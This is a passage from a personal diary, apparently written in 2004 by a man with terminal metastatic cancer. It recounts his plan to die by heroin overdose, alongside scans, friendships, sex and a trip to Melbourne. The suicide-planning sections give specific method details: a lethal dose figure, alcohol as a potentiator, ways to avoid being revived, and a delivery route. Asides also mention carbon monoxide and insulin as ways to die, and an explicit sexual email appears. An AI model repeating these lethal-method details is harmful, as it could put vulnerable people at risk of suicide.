+There's one particular way I have to choose." + +Split Enz - One step ahead. (Neil Finn) Waiata. 1980 + + +Didn't Dorothy Parker ever hear about smack? Even if it does cause +cramp, you're not gonna feel it. And like you'd give a shit about its +illegality. I had to laugh about the bit in the Crimes Act (1901) where it +forbids suicide. Nobody ever stands trial for doing it right. + + +Desist. + +Oceans barren, +forests dead. +Cities swollen, +Soil's fled. + +Ozone's depleted, +rivers dry. +Planet defeated. +You might as well die. + + + +I dunno why I never thought of it before. I've never used it. The prison +system is awash with the shit despite what Amanda Flintstone thinks. The +street price today is about $70 for a qtr gram, which is well more than a +quarter of a megabuck per kilo. Five migs will tell most of your pain to +fuck right off. 500 migs will kill most people. I'll need less if I'm +pissed 'cos ethanol is a synergistic CNS depressant. And I do rather like +old Mudgee Rummy tawny port. Plenty of that, please. I don't want some +do-gooder coming along with a suitcase full of opiate antagonist and +reviving my carcass. My supplier, who shall remain nameless, is +uncomfortable shouting me my death and wants cash from me in advance +before he supplies it. Fair enough. + +Overdose is phonetically pleasing in the same way as are the words +overloads, overdrive, overthrows. It has a couple of problems. Fatuous +dickheads are glorified for using it to kill 'emselves, for a start, +though as ways to exit go, it's got a lot going for it. What really bugs +me is that the word overdose implies that you kind of fucked it up and +_accidentally_ fed yourself too much. Nobody ever uses it when someone +blows their brains out with a firearm, because it is so obviously silly to +claim that someone who does so dies of a lead overdose, though in some +senses this is exactly what they do. It's too obviously deliberate to +permit any of that comforting uncertainty that maybe they really wanted to +stay and they got out by accident. + +{In 1986, in my high school science class, Eddie O'Meagher put lead +nitrate in the science lab fish tank. The fish did in fact did indeed die +of a lead overdose... though I suspect maybe the nitrate ions got 'em +first. What impressed me was how old Faulksie figured out the identity of +the material Eddie used.} + +That it is a dose chosen deliberately, calibrated to exceed by a large +amount my opiate receptor systems, should be made plain to those of you +who might think otherwise. I checked the literature before plonking my +money down. + +So then it's just a question of verifying the purity, not 'cos it really +matters from a contamination point of view, I mean, that'd be like +complaining there's the wrong isotope of lead in your shotgun shells. I'd +filter it and verify it (finally, having studied crystallography will come +in handy), but I'll also use the melting point range for diacetylmorphine, +which for the pure stuff is pretty small, centred on 173 degs C, or +243-245 degs C for the water soluble monohydrate hydrochloride (which +people stick in a spoon and heat to dissolve with a bit of bicarb to raise +the pH, which although facilitating solubility ends up destroying some of +the active stuff) so I can learn if it can do what I need it to do. Bliss +me into oblivion. Smack's reputedly better than orgasms, but that's no +slur on orgasms; you'd expect that from a drug which binds to all your +opiate receptors. It occurs to me I can dispense with trying to cannulate +myself and just stick it in a lipid based pellet and shove it up my bum. +Like I'll give a damn if I die with a smelly finger. It might confuse the +coroner though. Tough. + +Saturday night I was in bed and mum walked in and I told her instead of +explosives or ricin I'd probably use smack to shut myself down. She said +she'd like me around as long as possible. I said yeah, but that will +probably hurt like hell and involve pain and disablement and I'd be fucked +if I'd die in some goddamned hospital full of beeping machines and the +faint stinks of disintegrating old people and death and phenol failing to +mask both of them. I'd invite 'em along but they'd only try to stop me. +They're not ready and probably will never be ready. They want me to be +taken by something they can cleanly despise for doing it. + +Then there's the question of what to do with me dear ol' carcass. + +I think rather than paying to waste propane and be converted to air +pollution, or acquiring a box and chewing up landfill space at Woronora, I +think I'll donate my bod to a university anatomy department instead. One +good chop deserves another. I benefitted greatly from the chance to marvel +at the lone, pale, cold, acrid, but beautifully dissected biomechanical +chassis which used to be home to a sentient personality. Bodies log our +history; which muscles are developed, what creases line the face, where +the calluses have formed, where are the burns, scars, stretchmarks, moles, +tats, and so on, but there's so much data lost forever when the brain +dies. So I whizzed this off to Dan, prodigious reader of books and +USyd anatomy department geek. + +>>> + +From predator@cat.org.au Tue Apr 20 14:22:50 2004 +Date: Tue, 20 Apr 2004 13:12:41 +1000 (EST) +From: predator@cat.org.au +To: Dan +Subject: Re: experiments in oncology + +> Hey, Pred, it really sucks that you've become experimental subject. + +In some ways. But it is sort of OK in that I do have some say in the +experimental design. Like when to call it all off. Not a lot of rattus +norvegicus get that privelage. + + + +Dude. On a somewhat more macabre note, I think it'd be a waste of a +perfectly good carcass if I were converted to air pollution or stashed in +landfill. I can't donate me organs 'cos they'll have cryptic mets in them +by now. So, who do I ask about bequeathing my bod to say, the anatomy +department? + +---------------------------------------------------------------------------- +1971 model H.sapiens. One owner, in good condition, some scarring, one +missing kidney and one missing adrenal gland, classical metastatic +pathology. Some fillings. Approx 65kg. Male. Caucasian. 186cm long. Comes +with papers. May be GPL'd. Behaves well in formalin. Contact predator@cat.org.au +---------------------------------------------------------------------------- + +>>> + +He came back saying yeah there's a cadaver program, he'd send me a brochure. + +I loved reading Frank Netter's illustrated dissections. My bod has, on the +whole, been a truly delightful thing to live in. I can't really donate the +organs, I think. They're full of little precursors to tumors by now and +that's exactly the wrong sort of gift that keeps on giving. Transplant +recipients are usually pharmacologically immunosuppressed so as not to +reject the bits of someone else's guts which keep them alive, wouldn't +reject my tumors either. Which by the time I was in a position to donate +them would be full of cells selected for immunoevasion anyway. They're +gonna have a much harder time doing anything antisocial perfused with +formaldehyde. Come to think of it, so will I. I know what anatomists and +med students do with corpses in anatomy lab. I mean, come on, it's fun to +wiggle the fingers and watch the tendons move up and down. I reckon the +real fun is at the molecular level but you can't really see that at the +macroscopic scale. + +On sunday Charlie rang me (from fuckin' Canada!) and chatted about stuff. +He's depressed about Iraq, which is fair enough. He's doing an embedded +gnu/linux project. I'm sizing up the possibility of living in his house +for a while but I told him it's quite possible he'll have a corpse +stinking his house out. I know not when the axe will fall. He understands. +I might end up crawling around in the subfloor, since the wiring's fucked +up a lot. + +Sunday night I nearly ruptured myself reading Dilbert: Highly Defective +People before going out to see "The eternal sunshine of the spotless mind" +which was great, great, great! I haven't had my plot-thread tracker +exercised so thoroughly for ages. And great concepts... reactive, sentient +nested memories! XML and I walked out of it, snogged in the park a bit and +walked back to her pad. We've both mowed off our hair. We were on the bed +but then stood up and fucked some posters off the wall. I don't know how +she hung on. She left a bite in my right deltoideus I'm gonna be feeling +for weeks. + +The price one pays for being promiscuous is that tactical rubber is de +rigeur. I haven't barebacked with anyone for nearly a year. I've been more +or less shagging the same bit of latex for a long time, backed by +different people's bodies. Ya really do lose a lot of the sensation. And +when yer not a rock-hard 20 year old, the mechanics become sort of tricky +on the second shag. I wrote about them to someone a few weeks before Nov +19, 2003, diagnosis day. It'd been edited a little bit but only the +original recipient will know where. + + + + +Date: Fri, 10 Oct 2003 00:10:21 +1000 (EST) +From: predator@cat.org.au + +Dude... if I really need to get off, I'll find a way. If I don't, so what? +I have fun getting you off, and like that you do too. I long ago gave up +caring if I got off or not. There are loads of advantages to not +getting off... like, say, greater likelihood of getting off later 8-) + +Warning: gruesome male anatomy/psychology lesson follows. + +I think it's not a reflection on you or anything, but rather on the nature +of male physiology. I think men are evolved to shoot first, ask questions +later, and if I don't get off straight away, as I sometimes do in morning +shags, I can maintain a useful prong for long enough to get you +off, but that may change the physiological conditions required for me to +get off. Some women get off and dry out or get extremely sensitive (etc). + +Speaking for my own rig, there's a narrow stimulatory window which one has +to be in to stay hard but _not_ shoot. If you dry out, or I leak lube too +much, I go from fucking you with a condom which stays still relative to my +dick, to fucking a condom which stays still relative to you, which doesn't +feel as good, so I go soft; not enough friction / too much lube (a +function of the lube already in the condom, the lube I leak {which comes +from the prostate gland} inside the condom, plus whatever lube you're +secreting or adding to the outer surface of the condom) means things go +soft too. And if everything's really great, I shoot and go soft. + +If evolution gave a damn, men'd have *bones*. + +The internal hydrostatic pressure in the corpus cavernosae (the technical +term for hardon shaft rigidity) varies in a complex way, a function of +penile diameter and the diameter of the rubber ring at the bottom of the +franger, what your and my pelvic floor musculature is doing, position, +insertion angle, how horny I am, synchrony of movement (if we move in the +same direction at the same time, hence end up *not* moving relative to +each other, which is effectively the same as being still) and to borrow +from engine terminology, the bore and stroke parameters. Hydrostatic +pressure determines how hard the shaft is, and thus wether or not you +(recipient) will be getting off with it. Few women seem to get off with a +soft cock. + +The corpus spongiosum is the separate erectile compartment which makes the +penile *head* inflate; how inflated the head is determines how much +sensation it gets, and the more it gets, the less I last, since I'll +shoot. Its pressure is also a complex function, I can increase it partly +by perineal flexure, but not very well. The main difficulty one has as a +bloke is defeating its tendancy to be inflated all the time, leading to +short, fast shags which don't satisfy the recipient very much. Sometimes, +there's no other way (well, none which don't involve rather more invasive +practises such as prostate massage... uh, electric current, etc) for a +bloke to get off, tho. Some shags I have experienced had an additional +problem: I'd be stabbing myself in the eye of my dick with a cervix, which +wasn't fun for either of us, so I learned to keep the shaft pressure up +but the head pressure down. + +Other stuff influences my horniness parameter. Noise I +generate with matresses, blankets, headboards, etc is one. External noise +(from outside The Shack) is another, depending on wether it indicates +likely proximity of spectators. How ... hmmm... held(?), appreciated, +self-confident, pissed (as in beer) I feel, are others too. How much I +have to think about wether or not the franger is still intact (since when +the inside of the franger is well lubed and if you get dry, if I am still +hard, it will feel like it isn't there, which might well mean it's torn, +which means it needs to be checked) is also another distraction, but one +which needs control since you quite reasonably find accidental pregnancy a +bloody nuisance. Can't they use kevlar? Actually these frangers are pretty +good, I reckon. + +Given all of that, it's simpler if I worry about it than you worry about +it, since I'm in the uh, driver's seat. If I didn't worry about any of it +at all, I would be a wombat par excellence, eats roots shoots and leaves, +but that'd be less fun for you. + +In the extreme dark, it is impossible to tell if a condom is concave up +(bad) or concave down (good) prior to putting it on. That is a significant +pest, since the time and thought one expends determining this correlates +closely with lost hardon pressure. Distractions, distractions! + +On aim: penises are blinder than bats (bats at least can echolocate), and +when covered in latex, are totally useless for generating tactile +directional correction signals, so I am grateful for any aiming you happen +to provide, though it will be better if we agree on a common nomenclature. +When I hear "up", I think in the direction opposed to grativational down. +Because horniness reduces my higher brain function, I hear "left" and +assume it to mean "I should move towards my left." rather than doing the +transposition which would mean "I should move towards your left". If we +can figure this out you'll get much less random stabbing in the butt +cheek, thigh, etc, and I'll get to fuck you sooner. 8-) + + + + +So much for the grisly technicalities of tactical rubberware. + +(The recipient pointed out that the irresponsible wombat eats, seeds, +twigs, leaves). + +Does it count that we exchanged bodily fluids 'cos we cried into each +other's eyes? Well, yep. Viri really don't last long in the nasty saline +lubricant of the eyeball, the environment is too different to what viri +have to tolerate in the genitals. No hair is good. If you haven't tried +it, do. + + + +Monday 20th April. + +I paid my court costs and went to the Auburn cop shop where I was told my +fingerprints will remain on the police database forever even though I have +no conviction recorded against me. Who says we don't live in a police +state? Oh well. I'll just have to stuff my fingerprints with superglue +before I commit any future crimes with my fingers. While I was finding out +that my fingerprints will be wasting police harddisk space for the next +few decades, the van parked next to my bike reversed into it so when I got +back to it, the machine was on its side and dribbling petrol onto the +bitumen. Dudes stupid enough to do this can, I expect, be assumed to be +stupid enough not to realise that a human being can pick up a dropped +motorcycle in a few seconds. + +I went to Balmain and fell asleep on the couch and woke up just in time to +get another shload of ascorbate fed up me arm. Margo cannulates +brilliantly. As I write now I think Bill is calming down a bit. But I'm +gonna get a cervicothoracic CT anyway. See a bit better what he's doing. + + +My early birthday present, in one of mum's more brilliant suggestions, is +that I fly to Melbourne instead of motorcycle down there. I'll say yes. + + + +April 20. I stuffed my bod in the CT scanner at Hurstville. Three times +they stuck me veins with a 19-gague needle but couldn't get any blood +so eventually they stuck me with a smaller 21-gague needle and that worked +ok. I'd be pissed off about this 'cos I have veins like garden hose, +but I have other things to angst about at the mo. I'm a bit of a +pincushion. Covered in bandaids. Whammo, in went that iopamidol, I've +grown to love its whooshy hot rush. The unfortunately named Dr Lazarus +wrote this about the scanned cervicothoracic images. + + +"There is an ill defined mass in the left supraclavicular fossa which + measures approx 5 x 3cm in diameter. It extends superiorly for a distance + of 10cm. The mass is enhancing heterogeneously and it contains several + low density areas consistent with necrosis. + + The mass is situated deep to the sternocliedomastoid muscle and + superficial to the thyroid gland. It begins at the level of the superior + pole of the thyroid on the left and extends inferiorly to the thoracic + inlet and is compressing the left brachiocephalic vein. The left common + carotid artery appears normal but the left jugular vein was not visualised + and is either compressed or invaded. No other masses are detected within + the neck. + + On mediastinal windows there is no definite hilar or mediastinal + adenopathy. The pleura are normal. On lung windows there are no + metastases. The left nephrectomy is noted. The cholecystectomy is + noted. There are no obvious liver metastases." + + +Cholecystectomy?! I didn't think they took my gallbladder in November. +Nah. She's gotta have that wrong. The pictures are interesting... I have +about fifteen bits of stainless wrapped in various places around the bits +of vasculature tied-off six months ago. + +Bill's squishing my left brachiocephalic vein (which takes blood from my +left forearm and other things). So I'll be looking periodically at my arm +veins to see if the left ones stand out more than the right ones do. + +Appparently, Bill's blocked my fucking left jugular vein. Grrr-reat. I +sort of need that to work. Blow it open and the left half of my head +drains of blood and I die in minutes. I guess if he's invaded it they're +gonna have to chop it out. I'm not dead yet probably because there's +crossover venous drainage from the bottom of my skull, so the blood coming +out of the left side of my head, in which my thoughts were steeped only +moments before, is now being routed down the right side of my neck. I +didn't even notice. + +Bill might have just as easily decided to invade my carotid artery which +feeds blood to the left side of my head and in doing so would cripple me, +if it happened quickly. I'm incubating my own guillotine. I'm gonna live +my remaining life half an inch from sudden death. + +I feel like shit. I think I'm gonna go out to a sleazy pub and get pissed. + +-- + +So I did. The Oxford has the highest concentration of seedy dudes of any +pub I can immediately mention. I must be getting old. I realised a second +after collecting my schooners of Old that I looked the topless barmaid in +the eyes when I ordered my beer, instead of at her breasts. Floody walked +in and we chatted. For the last time, I think. Yobs sank beer and smoked +cigs in the nonsmoking section and watched the horseraces on telly and +spoke very loudly. Floody and I fitted in pretty well. I like engineers +like Floody. His final words to me included `Have a nice death.' and I +appreciate that this is what he meant, rather than have an ugly, messy, +painful, prolonged death. Death's just another optimisation problem to +engineers. + +I got pissed enough that 200m down Canturbury road I decided I was unfit +to drive. So I stopped in at Cremmo's and slept on the couch. Their moggie +sat on my head. The place stank faintly of catshit. Its demolition will be +no sad loss. Someone should be shot for inventing a fire detector that +beeps every 22 seconds. The kitchen tap leaked continuously. Cremmo snored +prodigiously. I staggered out in the morning and paid for a nice 2nd hand +circular saw (a perhaps unfortunate description for a such a device, it +implies a bloodier history than it perhaps deserves). + +Somethin' tells me by askin' Jude to ask Soph to back off me a bit I've +pissed Soph off and probably pissed Jude off. Soph was pretty full of +choof when I saw her. Didn't say a thing. Aw shit. What's happenin' to my +sense of perspective. Cancer's supposed to turn me into a corpse, but +there's nothing in the documentation that sez it'll turn me into an +arsehole in the process. Maybe I have a different sort of cancer to the +one they diagnosed, metastatic arsehole-oma? + +Goddamnit. SU's chem databases won't let me look at molecular fragments, +just whole molecules. Damn damn damn. + +Word has reached me that diode is still offering people a look at the `get +fucked' emails I sent him. Hasn't he learned that this sort of behaviour +is bad form? + +--------- + +Thurs 22. Tomorrow I get on a flight to Melbourne. + +I brushed my teeth and notice Bill swelling prominently in my neck. I have +an odd shopping list. The first two are probably an avoidance payment, an +investment in the idea that it's worth fighting this disease, though part +of me is convinced this is bullshit, I have my marching orders. The +last two are more acknowledgement that I have to prepare. + +selenocystiene +B group vitamins +.5g smack +Barbarian Invasions + +The latter was a movie. I wasn't ready to see it. Had some good bits +though. Like when the chick was talking to the dying man's son and his +mobile phone rang. She snatched it from his grip and flung it in the +campfire. Bell Hooks is right. Phones aren't quite there. When they do get +there, as they appear to be doing with their graphical capability and +screens and stuff on modern fones, they'll be like being near someone who +interrupts all the time, you'll wanna punch them out. + +------------------------------------------------- +From Bell Hooks: Interview with A. Juno +RE/search publications "Angry Women" (A. Juno, V. Vale) +(c) 1991 ISBN 0 940642-24-7 + +Hooks: "I struggle a great deal with the phone, because I think the +telephone is very dangerous to our lives in that it gives us such an +illusory sense that we are connecting. I always think about those +telephone commercials: "Reach out and touch someone!" and that becomes +such a false reality - even in my own life I have to remind myself that +talking to someone on the phone is NOT the same as having a conversation +where you can see them and smell them. I think that the phone has really +helped people become more privatised in that it gives them an illusion of +connection which denies looking at someone. + +Telephone commercials can be "great" because they actually let us see that +person on the other end - see how they respond and give off this warmth +that is never really conveyed just through the phone, so that we're really +not just having a diminished experience of the non-person you don't really +see on the other end. + +And it's hard to remember this - because we're seduced. I love +Baudrillard's book, Seduction, because he talks a lot about the way we're +seduced by "technologies of alienation". We know that all technologies are +not alienating, so I think its good to have a phrase like "technologies of +alienation" so that we can distinguish between those ways of transmitting +knowledge, information, etc and other ways of knowing that are more fully +meaningful to us. + +AJ: "Don't you think that in our addictive culture, these seductions set +up addictions which can never be satisfied ? The telephone gives us this +impossible promise of connection; its "400" numbers promise a simulation +of friendship and community (like a long-distance nightclub) which can +never be fulfilled." + +--------------------------------------- + +Beaudrillard, however, is full of shit and EO Wilson gives him both +barrels in his book Consilience. Go read it. + + +I said goodbye to Keogh. He kept me around, he admitted, for as long as +possible, which made me late. The view from the rooftop on College street +was very nice. 23 stories up. No handrail. I dunno what it is that I find +annoying about someone whom, on the occasion that I tell them I'm dying +and ain't seeing them again, tells me nothing new, nothing I consider of +any significance. Maybe he did but the problem is that I find nothing +especially of significance any more. The grey curtain of apathy, my +ghostly shield which can protect me from anything, seems to be levitating +up around me, to envelope me, on its own invisible curtain rail. + +I went down the huge staircase at Oatley and said goodbye to Deb. She made +me dinner. She's mid-thesis. Seeing her reminded me of the huge owl which +sat, hooting quietly, in our jacaranda tree in the back yard about a month +back. It looked down at me, blinking, as I looked up at it, for a long +time. It was a BIG owl. Spotted owl I think. Hoot. Hoot. Hoot. She's busy +as hell, mid-thesis. Deb tells me I should fight it. Looks like at 34, +Mullet's gonna have lived for longer than I will. I finally got around to +loaning her Jared Diamond : Rise and Fall of the Third Chimpanzee, and +Guns Germs and Steel. She can take as long as she likes to read 'em. + +Fight it. Whaddo I do, punch myself in the neck until I think Bill's +sufficiently broken that he'll leave me alone? Groan. + +Joss finally emailed me about the messy puke tendancy associated with bulk +iv smack. She takes a long time to reply to my stuff. I dunno why yet. + +I'm starting to think I should just shut the hell up about this damned +thing. It makes everyone sad. And I catch the sadness back off them. + + +I got home and was packing. I was putting some books back in the booshelf. +Mum, like she always does, decided to stand in the doorway. When I was +about to leave, I told her, calmly, firmly, not to stand in the +doorway cos I'd be walking through it in a moment. She walked backwards, +lost her footing on the same awkward doormat I'd complained two years ago +had injured my ankle, and fell, remarkably gracefully, sideways into a +nearby armchair. Very dramatic. Soon she was whinging about how painful +the fall was. I mentioned that I said two years ago the new doormats, with +their steep square edges, posed as much risk to her as they did to me and +that her response was that I should look where I was going. + +I log in and am writing a messy email to Joss. Time seems so short. I'm +sort of scrabbling for stuff to say. There's stuff i want to write, I +nearly had the right phrasing but arrrr.... Fuck. Mum's voice floats up +the corridor, asks am I there, I answer No, can I come in she asks and I +say, NO, she comes in anyway. She spends hours listening to the radio, +looking at the TV, speaking on the fone, mum wanders in at half-past +midnight, a time I choose precisely so everyone will not be disturbed if I +tie up the fone line, so they will not disturb me, with a fistful of +fifties (coincidentally exactly enough to buy a lethal load of smack and a +nice breakfast, but she doesn't know I've already paid) and tells me to +spend 'em in Melbourne. I told her I have enough money, get out of this +room, right now. Go. GO. Get out. Does she wait up purely to annoy me? To. +Slowly. Mumble. In. My. Ear. While. I. Am. Trying. To. Use. Some. Private. +Time. To. Do. Mail.? She wanders out mumbling some kind of comment about +how pleasant I am, fifties still in-hand. + +I just decided to update my livejournal but attech have cut us off +again. Fuck. Ohwell. + +The GHz machine I'm putting together was riddled with dodgy CHSSI low-ESR +caps. I fired up the soldering iron and painstakingly replaced every +electrolytic cap on the board before setting it up for a week long test +run. + +Meantime I left this at the end of the rant on the cat server. + +---------------------------------------------------------- +Still with us? Well. Ok. It's April 21. I go to Melbourne on the 23rd and +plan to come back on the 29th. + +There's a bigger rant coming (fools.txt) but this one is the little crumb +you get to look at instead of a 404 message. + +The meaty stuff is: My neck is getting shittier. Bill the Lump invaded my +left jugular vein about a week ago, blocking it. If he'd invaded the +carotid I'd be stroked out, a dribbling veggie. I'm reasonably freaked out +about this. The axe is falling. So I'm planning my end mode. I want +control over it. + +If you have anything terribly important to ask me about anything now might +be good time. The chance might not remain. Heavy epistemological and +philosophical questions are OK as are others. + +----------------------------------------------------------- + +Someone asked me what is the meaning of life and how does she realise +it. I answered more or less that life was meaningless, but you could still +choose to dedicate your life to some purpose, and that how to +come up with the right purpose is to try lots of things. So if you never +find your purpose at least you've had a taste of lots of stuff. It was +more detailed than that. + +I got out to the airport in a cab. They have posters at the security desks +which say [We take security jokes very seriously. Offenders will be +prosecuted.] No sense of humour.. this from an airline with a name that +sounds like a bad porno movie, Virgin Blue. I wandered around the +terminal. I am surprised to discover the existance of a book called "The +Day My Bum Went Psycho". I was blind and half-naked when I went through +the scanner cos almost everything I own has metal in it. At the top of the +escalators some bryllcreemed shills offered me an AMEX gold card and I +told them I would not be a long term customer. The coffee in the lounge +was very good. I walked out on the tarmac, last person to board the plane. +I sat in the absolutely rearmost port seat, next to a guy who builds +wheelchairs for a living, chatting with him was fascinating. He said if ya +wanted to make a lot of money, come up with a way to prevent bedsores. +Dudes who sit in chairs for years get pressure sores on their bums 'cos +they dont use the muscle. So ... they get their ischial tuberosities +(bones you sit on) surgically cut down (ow! Holy shit). How to fix that? +Oh, I dunno, I said, I don't suppose people have thought of implanting +ceramic encapsulated magnets in people's arse-bones and opposite polarity +ones in the chair. Might save a few newtons. Though as my fellow passenger +pointed out it would be a bugger if ... you know... your arse demagnetised +your credit cards. Electric zaps in the bum might keep the muscle mass up +and if you're a quaddie you won't feel it anyway. We had some pretty +macabre conversations about his clientele. A lot of them come into his +service 'cos they tried to kill themselves and fucked it up and he +ventured the opinion that CO was the way to go and emission controls on +modern cars didn't matter to the final outcome. He was a very interesting +guy to talk to. Motorcyclist too. Had his leg massively fucked up and kept +it by sheer good luck of having a cluey ambo spot that his femoral artery +was kinked. + + +The plane was late, 'cos Melbourne was pissing rain. Flying over Melbourne +everything was brown and dead. Immediately after we landed the +cabin filled with the acrid, hydrochloric stench of baby puke. I got off +the plane and Ed was there to meet me. He has no beard, which surprised +me. We chatted about stuff while we waited for the baggage to come back +from the aircraft. It did, rained upon. We strode out to the carpark and +drove down the Tulla' freeway to Victoria Ranges. We were a bit early. So +we popped up the road to a purveyor of advanced chicken substitute and +gutzed ourselves before going back and blazing away with some .357 magnum +handguns at paper targets for a while. + +He mentioned a friend of his who turned out to have an astrocytoma and was +being irradiated for it for a while before it came back viciously. I said +at least with my disease, I don't have to microwave my head. I remember +we were laughing a lot about this particular phrasing, with the rainwater +sluicing down the bluestone gutters and cars whizzing by us. He reckons +insulin was muttered about as a way to cleanly go out. Good quality +control, I reckon it'd be reliable, drive you into hypoglycemia, boom. +Pity you need a script. + + +I still have more horizontal wiggle in my grouping than vertical. My eye's +out but it was still pretty good shooting, lots of 8's, 9's and bullseyes. +They dont let people use 50-cal or .45 any more. I reckon I shot slightly +better than Ed but he was using double-action, whereas I cocked each round +myself. Cla-chick, BOOOM. Cla-chick, BOOOM. Lots of blast and flame. I +couldn't make out the numbers on the targets at 25m and was aiming by +interpolation. Fifty rounds. A truly desparate kamikazi would have capped +themselves right there, but I'm not. This is 'cos I feel like the +end-process is under control. Later my jacket stank of burnt gunpowder. + +We drove out to Tooronga in the rain. Jane has grown a lot. She's a manga +chick. I had to laugh at reading Jhonen Vsquez's I FEEL SICK comic again +[Eat SHIT it's NEW!]. Her phrases are suffixed with terms like TradeMark, +Sigh, Snigger, when referring to just about everything, paragon of the +jaded teen. All the houses around Ed' place have been built in the last +few years... property boom. The place is crowded. To accommodate all this +the phone line is pair-gains, evil evil, evil. Telstra charge the +pair-gains user the same money for less bandwidth. SO modem linkages suck. +I'm typing on it now since I'm updating this bit of the file from +Melbourne. + +I watched the Animatrix and Minority report and some manga anime of which +I made almost no sense at all. Mulholland drive made no sense at all +either. I come to Melbourne and whaddo I do?... watch telly when it +rains. We ate dinner at a teahouse in Box Hill. 1822 tea house, I think. +Yummie. No smokers. + +I logged in. Yeah. Joss expects I probably pissed Jude and Soph off. Ow. +Her emails aren't terse in a reassuring way. I dunno why yet. + +Saturday I bought a bottle of Clock Tower. Good stuff. Ed and I +headded out to the Chamber but didnt go in, the vehicle tracks suggested +all the gear had been moved elsewhere. The barbecque was cancelled too. I +hadn't seen his wife Faye for years, she's been in a chair for about a +decade from MS. I'da capped myself if I knew that future awaited me, I +said to Ed. The clannies had moved to the abuttments of Bingle St Bridge +(we have keys to 'em). Syd clan was sleeping in the opposite end to the +one in which the parry was being held. MrI had managed to pinch +electrickery from the street lighting to power the lights and video +projector - the party was held in two rooms with a camera in one and a +projector in the other, which had the advantage that you could throw +things at, draw on, make rude shadows against, the projected image of the +Master of Ceremonies and they didn't know or feel a thing. The rooms were +carpetted and vaccuumed! There must have been oh, 70 people in attendance. +The confined rooms were full of assholes smoking (thought that paled into +insignificace against the choking billows of smoke from the fireworks +later) plus a bunch of other people. If you need an image of organised +crime, this ain't it. + +Some people I'd not seen for many years were there under newly receded +hairlines or encased in flabbier bodies than I remember. Ug, Mira, Bob, +Wes The Source, Juxtapose from Ad-delayed. Prowler got gold, narrowly +beating Cro, bless him! I got a lot of votes for the gold, but it's not +because I've done anything. Through my alhocolic haze I realised I was +getting votes 'cos I am dying, which is an odd way to skew an election. +Dougo sold vegetarian saussages in the corner. I was given a [REAL CAVE +CLAN] t-shirt. Pipewalkers showed up and I introduced myself... it's odd +how these kids are barely into their twenties, and are already on five +year good behaviour bonds, and have seen my discreet little tag all over +Melbourne. Clocktower is a funny name for a drink which makes you lose +track of time. I gutzed it all. Dell-dint popped a goodly bud in my mouth +while I was well pissed and horizontal on some milk crates. When the +alcohol wore off the bud kicked in very well indeed. She gave me a bag of +'shrooms which I think would best be taken back to Sydney and cultivated +from spore. + +Ya gotta love that. I staggered down to the other end of the bridge at +about 4am when the party died. I slept in the corner on a bit of carpet, +amidst some abandoned, slightly gritty pieces of pizza which i ate when i +woke up. I woke up and picked a chunk of glass out of my knee. There'da +been thirty people sleeping in there, packed like sardines. The clan awoke +and we hit somewhere in South Melbourne for breakfast. They hooned off the +explore the old Chevron and I got a train out to westgarth. They do a +great job hiding information about the trains on the platforms tho they +apparently use SMSs to inform commuters about the train times which is +pretty cool. R walked up the road to greet me. We watched some somber +9/11 videos and ate tomato soup before I plodded back to Clifton Hill +station via the Merri creek. The trains were stuffed. They put LED +displays inside the train but they dont tell you anything useful. [Welcome +to connex] over and over. It gets a bit thin when you've seen it a couple +of hundred times and the train doesnt go anyplace. + +Another thought, as I type on Monday 26th. I brought a camera and have +hardly used it at all. It dawns on me that this is because I'm not gonna +be here to look at the photos I take. I can think of why other people'd +wanna look at my photos. What an indictment it is that the only thing +comeplling about my life is that I get a slightly nonmundane way out of +it. + + +Monday we saw the minesweeper at Williamstown (closed), went to Brunswick +street. We checked out the Polyester bookshop, and I'da blown a couple of +hundred bux in there but I didn't know if I was gonna live long enough to +read all the stuff I'd get. They have extremely rude postcards, they'd +never get through the post. + +It's been a scary couple of weeks. While at Polyester I got a copy of +Death, A User's Guide. Which isn't especially useful, I shouldda got a +copy of that book they had which was a compendium of the final +conversations between pilots, taken from black box flight recorders dug +out of various debris-strewn craters and mountainsides around the world. I +flicked through it. Some of these people were very, very fuckin' cool just +before they got plowed into the earth at 400km/h, in a way which I don't +think I would be. But maybe it's 'cos they didn't know they were about to +be mashed into cytosol paste. + +Didja ever see Event Horizon (it has Lawrence Fishburne in it, which makes +it worth seeing)? Check out the scene where the trauma specialist dude +finally discovers the bomb with four seconds left on the countdown +display. He gets the exactly right expression on his face, which documents +the simultaneous realisation that you're fucked and theres no time to do +anything about it, Kaboom. + + +"Why's this shit gotta happen to me?!" - crewman on outside of Lewis and +Clark when it blows up (this is actually a very funny scene), Event Horizon + + +Chatting to Ed was good. I have heavy conversations with certain people +from time to time and this was one of them. We sucked coffee from the only +two tall mugs in the shop. It struck me that I was sitting in front of a +dude nearly twice my age and by dying I was gonna miss out on my current +total lifespan's worth of additional life experience. I got half a +lifespan. I don't feel especially ripped off, 'cos I don't know precisely +what I'm gonna miss. Ed is cool. I like Ed 'cos he listens and has good +bandwidth and tends to be perceptive in interesting ways, giving him a +high clue density where it counts, and he's stashed a lot of life +experience in that head of his. I love it every time he says he became a +hippy and smoked a ton of dope and this cured his ambition. He's been a +shaping influence on my life. I never really had ambition, which is maybe +why I've not felt a particular need to smoke dope. + +The leather shop up the road had interesting chain mail, floggers, gags, +surgical tools, speculums, spiky bits of leather. It's a kinky world, if +you can afford it. + +Ed's learning Japanese which is absolutely fucking baroque, it's like +someone set out to come up with an indecipherable cryptosystemic alphabet +and this was the result. It can't handle consecutive consonants. Predator +in hiragani sounds something like Po re da to ru. Transistor sounds +something like To Ra Na Si To Ru. We ate out at a Chinese restaurant that +night and en-route found a nice microwave oven in a dumpster. On the way +home I amused myself yelling TO RA NA SI TO RU out the car window at +random passersby in Swinburne. + +I got an email from Fleischman, from whom I have not heard in oh, five +years. I'm, thinking of of using him as my control subject to see what +happens when I don't tell people I'm dying. + +I read a copy of Fight Club. It makes me wanna go and check out these +support groups people go to for their impending mortal disease. Just to +see how other people handle, or fail, to handle it. Further reading of +Death A Users Guide suggests it isn't much guidance, really. It +does list some ugly deaths in there. I'm getting out the easy way. + + +Tues: Melbourne Museum... they have millions of cool bugs, many of them +alive and fighting with each other behind glass. In the galleria is a blue +whale skeleton, stripped bare, the tonnage of massive bones hanging +motionless, speaking of an organism which was shaped to withstand massive +hydrostatic forces and swim with minimum effort through a dense medium. +They also have huuuuge dinosaur skeleta which are very impressive. Dead +things stay dead for a long time. + +Walk through the forest section sometime later. Excellent little frogs +hide in places difficult to catch with the eye. It amuses me to think that +what we do to nonhuman sporting heros in Australia is send their skeletons +to Canberra, their viscera to New Zealand, and we stuff the rest and mount +it in a glass case in the museum at Melbourne. Can someone please do that +to oh, I dunno, Darryl Eastlake? He's not a sporting hero but he satisfies +the other criteria. And 